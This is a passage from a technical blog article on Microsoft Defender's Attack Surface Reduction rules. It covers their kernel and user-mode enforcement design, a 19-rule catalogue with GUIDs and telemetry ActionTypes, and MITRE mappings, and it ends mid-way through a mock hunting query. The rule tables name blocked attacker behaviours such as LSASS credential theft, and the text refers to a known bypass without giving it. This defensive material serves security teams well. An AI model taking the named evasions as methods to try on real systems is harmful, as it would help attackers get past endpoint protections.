&lt;p&gt;Tom Gallagher&apos;s February 7, 2022 Microsoft 365 Blog post announces the default block of VBA macros in &lt;a href=&quot;https://paragmali.com/blog/mark-of-the-web-smartscreen-catalog-of-trust/&quot; rel=&quot;noopener&quot;&gt;MOTW&lt;/a&gt;-internet documents [@ms-techcommunity-internet-macros-2022]. The trust bar removes the &quot;Enable Content&quot; button entirely. Microsoft pauses the rollout on July 8, 2022 for usability adjustments, then resumes on July 20, 2022 -- both dates verifiable from the post&apos;s &lt;code&gt;article:modified_time&lt;/code&gt; metadata. ESET&apos;s June 2022 write-up confirms the intended effect: between April 26 and May 2, 2022 Emotet operators were already testing LNK and ISO replacements for the macro carrier [@welivesecurity-emotet-pivot-2022].&lt;/p&gt;

A wide range of threat actors continue to target our customers by sending documents and luring them into enabling malicious macro code. -- Tom Gallagher, Partner Group Engineering Manager, Office Security, February 7, 2022 [@ms-techcommunity-internet-macros-2022]
&lt;p&gt;The Microsoft 365 Apps default block is &lt;strong&gt;not&lt;/strong&gt; a generation of ASR. It is a parallel layer that ships inside Office, runs against every Microsoft 365 Apps installation managed or unmanaged, and uses the MOTW as its trigger rather than the kernel-mode minifilter. It cooperates with ASR; it does not subsume ASR.&lt;/p&gt;

The popular &quot;ASR stopped Office macros&quot; claim is half right. The Office-macro era ended through three layers in combination: (1) Europol&apos;s Operation LadyBird on January 27, 2021, coordinated international takedown of Emotet&apos;s command-and-control infrastructure [@europol-emotet-disrupted-wayback]; (2) ASR&apos;s 2017-onward Office rules at the enterprise tier, managed through Intune, Group Policy, or Defender for Endpoint; (3) the Microsoft 365 Apps internet-macro default block at the consumer and tenant tier, default-on for every Microsoft 365 installation since the July 2022 staged rollout [@ms-techcommunity-internet-macros-2022]. ASR is the enterprise-managed layer; it was not the only layer. The polished version of the story names all three.
&lt;p&gt;A coincidence worth noting: Europol&apos;s Operation LadyBird seized Emotet&apos;s command-and-control infrastructure on January 27, 2021 [@europol-emotet-disrupted-wayback]. SANS Internet Storm Center Diary 27036, published the same day by handler Daniel Wesemann, documented the canonical WMI-grandparent bypass to the Office-child-process ASR rule [@sans-isc-27036-emotet-asr]. A takedown and a bypass landed on the same Wednesday.&lt;/p&gt;
&lt;h3&gt;Generation 5, 2023-2026 -- Standard protection and the long tail&lt;/h3&gt;
&lt;p&gt;By 2023 Microsoft had enough deployment telemetry to partition the rules into two categories. The &lt;strong&gt;Standard protection rules&lt;/strong&gt; are the three with a low false-positive floor, safe to enable in Block mode without staged rollout: BYOVD, LSASS credential-theft, and WMI persistence [@ms-learn-asr-overview]. The remaining sixteen are &lt;strong&gt;Other ASR rules&lt;/strong&gt; and require the full Audit, Warn, Block ladder. Several new rules landed in this period [@ms-learn-asr-reference]:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Block Webshell creation for Servers&lt;/strong&gt; -- &lt;code&gt;a8f5898e-1dc8-49a9-9878-85004b8a61e6&lt;/code&gt; -- the post-HAFNIUM / ProxyShell response. This is the only rule in the catalogue whose row in the Microsoft Learn reference shows &quot;N&quot; for EDR alerts, meaning it does not emit a paired &lt;code&gt;Audited&lt;/code&gt; and &lt;code&gt;Blocked&lt;/code&gt; &lt;code&gt;ActionType&lt;/code&gt; in &lt;code&gt;DeviceEvents&lt;/code&gt;. Defenders hunt blocked webshell drops through &lt;code&gt;MpCmdRun.log&lt;/code&gt; and IIS access logs, not Advanced Hunting.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Block rebooting machine in Safe Mode&lt;/strong&gt; -- &lt;code&gt;33ddedf1-c6e0-47cb-833e-de6133960387&lt;/code&gt; -- the BlackByte-era safe-mode-encryption response.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Block use of copied or impersonated system tools&lt;/strong&gt; -- &lt;code&gt;c0033c00-d16d-4114-a5a0-dc9b3a7d2ceb&lt;/code&gt; -- the rename-and-relocate evasion response (attackers copying &lt;code&gt;cmd.exe&lt;/code&gt; to a writable path and renaming it &lt;code&gt;update.exe&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Block untrusted and unsigned processes that run from USB&lt;/strong&gt; -- &lt;code&gt;b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4&lt;/code&gt; -- the BadUSB / removable-media response.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Block Office communication application from creating child processes&lt;/strong&gt; -- &lt;code&gt;26190899-1602-49e8-8b27-eb1d0a1ce869&lt;/code&gt; -- the Outlook variant of the Office-child-process rule.&lt;/li&gt;
&lt;/ul&gt;

The three ASR rules Microsoft classifies as safe to enable in Block mode without staged rollout: Block abuse of exploited vulnerable signed drivers, Block credential stealing from the Windows local security authority subsystem, and Block persistence through WMI event subscription. The classification appears verbatim on the ASR rules overview page [@ms-learn-asr-overview]. The LSASS rule is redundant when LSA Protection is enabled; the WMI persistence rule still requires Audit testing if Microsoft Configuration Manager manages the device.
&lt;p&gt;The catalogue stands at &lt;strong&gt;19 rules as of May 2026&lt;/strong&gt; -- three Standard protection rules and sixteen Other ASR rules, the count inclusive of the server-only Webshell rule that does not emit &lt;code&gt;DeviceEvents&lt;/code&gt; [@ms-learn-asr-reference]. The pattern is consistent enough that the next section gives it a name.&lt;/p&gt;
&lt;h2&gt;5. Edges, Not Nodes&lt;/h2&gt;
&lt;p&gt;The structural pivot the whole article rests on can be written in one sentence: signatures classify nodes; AppLocker classifies identities; ASR classifies edges in the runtime graph. The rest of this section unpacks what that means and why it matters.&lt;/p&gt;
&lt;p&gt;A &lt;em&gt;node&lt;/em&gt; in the runtime graph is a binary or a file -- the kind of thing static analysis can fingerprint. An &lt;em&gt;edge&lt;/em&gt; is a runtime relationship between two nodes: process A creating process B, process A writing file F, process A opening a handle to LSASS memory, the WMI repository writing a new &lt;code&gt;__FilterToConsumerBinding&lt;/code&gt;. Signatures answer &quot;is this node bad?&quot; -- undecidable in general per Cohen 1984 [@cohen-1984-part1]. AppLocker answers &quot;is this node&apos;s identity on the allow-list?&quot; -- decidable but blind to LOLBin chains [@lolbas-project]. ASR answers &quot;did this specific edge happen?&quot; -- decidable per event at the OS interception layer.&lt;/p&gt;
&lt;p&gt;The Cohen sidestep is precise. Cohen 1984 proved that classifying nodes (&quot;is this program malicious?&quot;) is undecidable in general, via a reduction to the Halting Problem. He did &lt;strong&gt;not&lt;/strong&gt; prove that classifying runtime edges is undecidable, because &quot;did this specific parent-child invocation just happen?&quot; is an observable proposition. The kernel sees the system call. The decision is local. No static analysis is required. ASR is the canonical industrial instantiation of that insight; every generation in Section 4 is a catalogue extension within the edge-classification approach, not a structural reframing of it.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Signatures classify nodes. AppLocker classifies identities. ASR classifies edges in the runtime graph. By moving from node classification to edge classification, Microsoft sidesteps Cohen-1984 undecidability in the practical sense: you do not need to decide whether the binary is malicious, only whether the edge happened. The kernel sees the edge.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Where does the enforcement actually live? The &quot;kernel-mediated&quot; framing earns its phrasing in three precise pieces.&lt;/p&gt;
&lt;p&gt;First, &lt;code&gt;WdFilter.sys&lt;/code&gt; is the Microsoft Defender Antivirus minifilter driver.An altitude, in Windows Filter Manager terminology, is a 32-bit decimal that determines the order in which file-system minifilters see I/O. Higher altitudes see I/O first on the way down to the file system and last on the way back up. Anti-virus drivers live in the 320000-329998 band. It is registered with the Windows Filter Manager in the &lt;strong&gt;FSFilter Anti-Virus altitude band (320000-329998), specifically at altitude 328010&lt;/strong&gt; per Microsoft&apos;s IFS allocated-altitudes reference [@ms-learn-ifs-allocated-altitudes]. It runs in &lt;strong&gt;kernel mode&lt;/strong&gt; and intercepts process-creation, image-load, file-write, and (for some rules) WMI and registry edges through Filter Manager pre-operation callbacks and process / image-load notify routines.&lt;/p&gt;

The Microsoft Defender Antivirus minifilter driver. Registered with the Windows Filter Manager at altitude 328010 in the FSFilter Anti-Virus band (320000-329998) per Microsoft&apos;s allocated-altitudes reference [@ms-learn-ifs-allocated-altitudes]. It runs in kernel mode and hosts the interception callbacks that ASR uses to see process-creation, image-load, and file-write edges before the user-mode actor completes the operation.
&lt;p&gt;Second, &lt;code&gt;MsMpEng.exe&lt;/code&gt; is the Defender Antivirus service process. It runs in &lt;strong&gt;user mode&lt;/strong&gt; at integrity level System. For every intercepted edge it consults the per-rule predicate, the per-rule exclusion list, and (for cloud-protected rules) the Microsoft Active Protection Service reputation, then returns Audit, Warn, or Block. The kernel/user-mode split is structural, not accidental. Interception must happen in the kernel before the user-mode actor completes the call. But exclusion-list lookup and cloud reputation are not appropriate inside a minifilter that holds the IRP open.&lt;/p&gt;

The Microsoft Defender Antivirus service process. Runs in user mode at integrity level System and hosts the policy-evaluation engine that decides Audit, Warn, or Block for every edge intercepted by `WdFilter.sys`. The two together form the kernel-mediated, user-mode-evaluated enforcement architecture that ASR relies on.
&lt;p&gt;Third, telemetry. ASR blocks land in Defender for Endpoint&apos;s &lt;code&gt;DeviceEvents&lt;/code&gt; Advanced Hunting table with a rule-specific &lt;code&gt;ActionType&lt;/code&gt; such as &lt;code&gt;AsrOfficeChildProcessBlocked&lt;/code&gt; or &lt;code&gt;AsrLsassCredentialTheftBlocked&lt;/code&gt;. The rules reference enumerates a paired &lt;code&gt;Audited&lt;/code&gt; and &lt;code&gt;Blocked&lt;/code&gt; &lt;code&gt;ActionType&lt;/code&gt; for every rule except the Webshell rule, which is the only one without a &lt;code&gt;DeviceEvents&lt;/code&gt; row [@ms-learn-asr-reference]. The universal hunting query is &lt;code&gt;DeviceEvents | where ActionType startswith &quot;Asr&quot;&lt;/code&gt;. The generic &lt;code&gt;AsrRuleTriggered&lt;/code&gt; is folk wisdom; it has never existed.&lt;/p&gt;

Microsoft Defender for Endpoint&apos;s Kusto Query Language (KQL) surface over endpoint telemetry. ASR blocks and audit events land in the `DeviceEvents` table with rule-specific `ActionType` values. Defenders combine `DeviceEvents` with `DeviceProcessEvents`, `DeviceFileEvents`, and `DeviceImageLoadEvents` to assemble the corroborating edge data around any ASR row [@ms-learn-asr-reference].

flowchart LR
    P[&quot;User-mode process&lt;br /&gt;WINWORD.EXE&quot;] --&amp;gt;|&quot;CreateProcessW&quot;| K[&quot;Windows kernel&lt;br /&gt;process-creation notify&quot;]
    K --&amp;gt; WD[&quot;WdFilter.sys&lt;br /&gt;kernel-mode minifilter&lt;br /&gt;altitude 328010&quot;]
    WD --&amp;gt;|&quot;edge event&quot;| MP[&quot;MsMpEng.exe&lt;br /&gt;user-mode service&lt;br /&gt;rule predicate + exclusions + MAPS&quot;]
    MP --&amp;gt;|&quot;Audit / Warn / Block&quot;| WD
    WD --&amp;gt;|&quot;fail or allow CreateProcessW&quot;| P
    MP --&amp;gt;|&quot;telemetry&quot;| DE[&quot;DeviceEvents&lt;br /&gt;ActionType = AsrOfficeChildProcessBlocked&quot;]

A common misconception is &quot;ASR runs in the kernel.&quot; That is partially true and structurally incomplete. The interception point is kernel-mode; the policy evaluation is user-mode. Both are necessary. The kernel must see the edge before the user-mode actor completes the operation, but the cloud reputation lookup and the per-rule exclusion list are not appropriate to run inside a minifilter that holds the IRP open. The correct one-line framing is &quot;kernel-mediated interception, user-mode policy evaluation.&quot;
&lt;p&gt;The marginal performance cost of an ASR check is bounded by the existing &lt;code&gt;WdFilter.sys&lt;/code&gt; callout that already runs for real-time scanning. ASR piggybacks on callouts the antivirus engine has already paid for. Microsoft has not published a number isolating ASR per-event overhead from broader minifilter cost; the IFS allocated-altitudes page is the closest published reference [@ms-learn-ifs-allocated-altitudes]. The sub-microsecond-per-event framing is INFERRED from the architecture, not measured.&lt;/p&gt;

&quot;Protection from denial of services requires the detection of halting programs which is well known to be undecidable.&quot; -- Fred Cohen, &quot;Computer Viruses: Theory and Experiments,&quot; 1984 [@cohen-1984-part1]
&lt;p&gt;The framework now in place is &quot;name a behaviour class, ship an enforcement edge.&quot; Nine years and seven generations of catalogue extension have followed that single rule. So what does the catalogue look like in detail today? The next section is the reference table: nineteen rules, organised by category, with GUID, ActionType, and the attacker behaviour each one closes.&lt;/p&gt;
&lt;h2&gt;6. The Nineteen Rules in Detail&lt;/h2&gt;
&lt;p&gt;This section is the article&apos;s reference table. Not a deployment guide (that comes in Section 10), but a catalogue to return to when you need to remember which GUID maps to which behaviour and which &lt;code&gt;ActionType&lt;/code&gt; lands in &lt;code&gt;DeviceEvents&lt;/code&gt;. Every row is from Microsoft Learn&apos;s rules reference page [@ms-learn-asr-reference].&lt;/p&gt;
&lt;h3&gt;Standard protection rules (3 rules)&lt;/h3&gt;
&lt;p&gt;Microsoft itself recommends enabling these three in Block mode without staged rollout, because their false-positive floor is low [@ms-learn-asr-overview].&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Short name&lt;/th&gt;
&lt;th&gt;GUID&lt;/th&gt;
&lt;th&gt;ActionType (Blocked)&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Block abuse of exploited vulnerable signed drivers&lt;/td&gt;
&lt;td&gt;&lt;code&gt;56a863a9-875e-4185-98a7-b882c64b5ce5&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrVulnerableSignedDriverBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The BYOVD response; pairs with the kernel-load-time Vulnerable Driver Blocklist [@ms-learn-driver-block-rules]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block credential stealing from the Windows local security authority subsystem&lt;/td&gt;
&lt;td&gt;&lt;code&gt;9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrLsassCredentialTheftBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Redundant when LSA Protection is enabled [@ms-learn-asr-overview]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block persistence through WMI event subscription&lt;/td&gt;
&lt;td&gt;&lt;code&gt;e6db77e5-3df2-4cf1-b95a-636979351e5b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrPersistenceThroughWmiBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Still requires Audit testing if Configuration Manager manages the device&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;Productivity apps (6 rules)&lt;/h3&gt;
&lt;p&gt;The Office and Adobe response pack, anchored by the Office-child-process rule that opens this article.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Short name&lt;/th&gt;
&lt;th&gt;GUID&lt;/th&gt;
&lt;th&gt;ActionType (Blocked)&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Block all Office applications from creating child processes&lt;/td&gt;
&lt;td&gt;&lt;code&gt;d4f940ab-401b-4efc-aadc-ad5f3c50688a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrOfficeChildProcessBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The macro-to-PowerShell stopper&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block Office applications from creating executable content&lt;/td&gt;
&lt;td&gt;&lt;code&gt;3b576869-a4ec-4529-8536-b80a7769e899&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrExecutableOfficeContentBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Blocks dropped EXEs from Office processes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block Office applications from injecting code into other processes&lt;/td&gt;
&lt;td&gt;&lt;code&gt;75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrOfficeProcessInjectionBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;No Warn-mode support [@ms-learn-asr-overview]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block Win32 API calls from Office macros&lt;/td&gt;
&lt;td&gt;&lt;code&gt;92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrOfficeMacroWin32ApiCallsBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Refuses &lt;code&gt;Declare&lt;/code&gt; statements that bind to native DLLs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block Office communication application from creating child processes&lt;/td&gt;
&lt;td&gt;&lt;code&gt;26190899-1602-49e8-8b27-eb1d0a1ce869&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrOfficeCommAppChildProcessBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The Outlook variant&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block Adobe Reader from creating child processes&lt;/td&gt;
&lt;td&gt;&lt;code&gt;7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrAdobeReaderChildProcessBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The PDF response&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;Scripts and email (3 rules)&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://paragmali.com/blog/amsi-the-pre-execution-window-defender/&quot; rel=&quot;noopener&quot;&gt;AMSI&lt;/a&gt;-backed script-content rules plus the email-drop-execution rule.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Short name&lt;/th&gt;
&lt;th&gt;GUID&lt;/th&gt;
&lt;th&gt;ActionType (Blocked)&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Block execution of potentially obfuscated scripts&lt;/td&gt;
&lt;td&gt;&lt;code&gt;5beb7efe-fd9a-4556-801d-275e5ffc04cc&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrObfuscatedScriptBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;AMSI-backed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block JavaScript or VBScript from launching downloaded executable content&lt;/td&gt;
&lt;td&gt;&lt;code&gt;d3e037e1-3eb8-44c8-a917-57927947596d&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrScriptExecutableDownloadBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The drive-by-download response&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block executable content from email client and webmail&lt;/td&gt;
&lt;td&gt;&lt;code&gt;be9ba2d9-53ea-4cdc-84e5-9b1eeee46550&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrExecutableEmailContentBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Catches the dropped-attachment-run pattern&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;Lateral movement and prevalence (4 rules)&lt;/h3&gt;
&lt;p&gt;The cloud-protected, prevalence-based rules plus the Emotet lateral-movement responses.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Short name&lt;/th&gt;
&lt;th&gt;GUID&lt;/th&gt;
&lt;th&gt;ActionType (Blocked)&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Block process creations originating from PSExec and WMI commands&lt;/td&gt;
&lt;td&gt;&lt;code&gt;d1e49aac-8f56-4280-b9ba-993a6d77406c&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrPsexecWmiChildProcessBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Conflicts with Configuration Manager [@ms-learn-asr-overview]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block executable files from running unless they meet a prevalence, age, or trusted list criterion&lt;/td&gt;
&lt;td&gt;&lt;code&gt;01443614-cd74-433a-b99e-2ecdc07bfc25&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrUntrustedExecutableBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Requires cloud protection (MAPS)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block untrusted and unsigned processes that run from USB&lt;/td&gt;
&lt;td&gt;&lt;code&gt;b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrUntrustedUsbProcessBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The BadUSB response&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Use advanced protection against ransomware&lt;/td&gt;
&lt;td&gt;&lt;code&gt;c1db55ab-c21a-4637-bb3f-a12568109d35&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrRansomwareBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Requires cloud protection&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;Server, system-tool, and safe-mode (3 rules)&lt;/h3&gt;
&lt;p&gt;The post-2022 additions.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Short name&lt;/th&gt;
&lt;th&gt;GUID&lt;/th&gt;
&lt;th&gt;ActionType (Blocked)&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Block Webshell creation for Servers&lt;/td&gt;
&lt;td&gt;&lt;code&gt;a8f5898e-1dc8-49a9-9878-85004b8a61e6&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(no DeviceEvents pair)&lt;/td&gt;
&lt;td&gt;Only rule without a &lt;code&gt;DeviceEvents&lt;/code&gt; ActionType [@ms-learn-asr-reference]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block rebooting machine in Safe Mode&lt;/td&gt;
&lt;td&gt;&lt;code&gt;33ddedf1-c6e0-47cb-833e-de6133960387&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrSafeModeRebootBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Also emits &lt;code&gt;AsrSafeModeRebootWarnBypassed&lt;/code&gt; -- proof Warn is supported&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block use of copied or impersonated system tools&lt;/td&gt;
&lt;td&gt;&lt;code&gt;c0033c00-d16d-4114-a5a0-dc9b3a7d2ceb&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AsrAbusedSystemToolBlocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Also emits &lt;code&gt;AsrAbusedSystemToolWarnBypassed&lt;/code&gt; -- proof Warn is supported&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Total: &lt;strong&gt;19 rules&lt;/strong&gt;. Older blog posts that cite &quot;16 rules&quot; or &quot;17 rules&quot; reflect a 2021-2023 snapshot of the catalogue before the Safe Mode, copied-tools, USB, and Outlook variants landed.&lt;/p&gt;
&lt;h3&gt;The per-rule MITRE crosswalk&lt;/h3&gt;
&lt;p&gt;MITRE ATT&amp;amp;CK&apos;s Behavior Prevention on Endpoint mitigation (M1040) nominates ASR rules by name for several technique families. The first eight rows below are verbatim nominations from the M1040 page; the last two (T1505.003 and T1562.009) are this article&apos;s own mappings from rule semantics to the most-natural MITRE technique, because M1040 itself does not enumerate the Webshell or Safe Mode Boot techniques [@mitre-m1040]:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;MITRE technique&lt;/th&gt;
&lt;th&gt;ASR rule that covers it&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;T1059.005 / T1059.007 (Command and Scripting Interpreter: Visual Basic / JavaScript)&lt;/td&gt;
&lt;td&gt;Block JavaScript or VBScript from launching downloaded executable content; Block execution of potentially obfuscated scripts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1543 / T1543.003 (Create or Modify System Process / Windows Service)&lt;/td&gt;
&lt;td&gt;Block abuse of exploited vulnerable signed drivers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1486 (Data Encrypted for Impact)&lt;/td&gt;
&lt;td&gt;Use advanced protection against ransomware&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1546.003 (Event Triggered Execution: WMI Event Subscription)&lt;/td&gt;
&lt;td&gt;Block persistence through WMI event subscription&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1559 / T1559.002 (Inter-Process Communication: Dynamic Data Exchange)&lt;/td&gt;
&lt;td&gt;Block all Office applications from creating child processes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1106 (Native API)&lt;/td&gt;
&lt;td&gt;Block Win32 API calls from Office macros&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1027 / T1027.009 / T1027.010 (Obfuscated Files or Information)&lt;/td&gt;
&lt;td&gt;Block execution of potentially obfuscated scripts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1003.001 (LSASS Memory)&lt;/td&gt;
&lt;td&gt;Block credential stealing from the Windows local security authority subsystem&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1505.003 (Server Software Component: Web Shell) -- author mapping, not M1040-nominated&lt;/td&gt;
&lt;td&gt;Block Webshell creation for Servers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1562.009 (Impair Defenses: Safe Mode Boot) -- author mapping, not M1040-nominated&lt;/td&gt;
&lt;td&gt;Block rebooting machine in Safe Mode&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The crosswalk gives a defender the per-technique coverage map without leaving the article.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Recall from Section 1: every rule emits a rule-specific &lt;code&gt;Asr&amp;lt;RuleName&amp;gt;Audited&lt;/code&gt; and &lt;code&gt;Asr&amp;lt;RuleName&amp;gt;Blocked&lt;/code&gt; pair (the Webshell rule excepted), and the canonical universal Advanced Hunting filter is &lt;code&gt;where ActionType startswith &quot;Asr&quot;&lt;/code&gt; [@ms-learn-asr-reference].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The Webshell rule&apos;s missing &lt;code&gt;DeviceEvents&lt;/code&gt; &lt;code&gt;ActionType&lt;/code&gt; is the most visible gap in the catalogue&apos;s telemetry surface. Defenders typically use Sysmon Event ID 11 (FileCreate) in web roots and IIS access logs to corroborate blocked webshell creations on servers; the Microsoft Learn rules reference is explicit that the EDR-alerts column for this rule is &quot;N&quot; [@ms-learn-asr-reference].&lt;/p&gt;
&lt;p&gt;The universal Advanced Hunting query, demonstrated below in a runnable JavaScript shape so a reader can verify the aggregation logic without a Defender for Endpoint tenant, is the single most useful starting point for any ASR investigation.&lt;/p&gt;
&lt;p&gt;{`
// Mocked DeviceEvents rows. Replace with output of:
// DeviceEvents | where ActionType startswith &quot;Asr&quot;
// | summarize count() by ActionType, DeviceName | order by count_ desc
const deviceEvents = [
  { DeviceName: &quot;WS-FIN-042&quot;, ActionType: &quot;AsrOfficeChildProcessBlocked&quot; },
  { DeviceName: &quot;WS-FIN-042&quot;, ActionType: &quot;AsrOfficeChildProcessBlocked&quot; },
  { DeviceName: &quot;WS-FIN-118&quot;, ActionType: &quot;AsrOfficeChildProcessAudited&quot; },
  { DeviceName: &quot;WS-ENG-003&quot;, ActionType: &quot;AsrLsassCredentialTheftBlocked&quot; },
  { DeviceName: &quot;WS-FIN-042&quot;, ActionType: &quot;AsrPsexecWmiChildProcessAudited&quot; },
  { DeviceName: &quot;WS-FIN-118&quot;, ActionType: &quot;AsrVulnerableSignedDriverBlocked&quot; },
  { DeviceName: &quot;OTHER&quot;,      ActionType: &quot;DeviceLogon&quot; }, // filtered out
];&lt;/p&gt;
&lt;p&gt;const asrRows = deviceEvents.filter(r =&amp;gt; r.ActionType.startsWith(&quot;Asr&quot;));&lt;/p&gt;
&lt;p&gt;const counts = asrRows.reduce((m, r) =&amp;gt; {
  const key = r.ActionType + &quot; | &quot; + r.DeviceName;
  m[key] = (m[key] || 0) + 1;
  return m;
}, {});&lt;/p&gt;
&lt;p&gt;Object.entries(counts)
  .sort((a, b) =&amp;gt; b[1] - a[1])
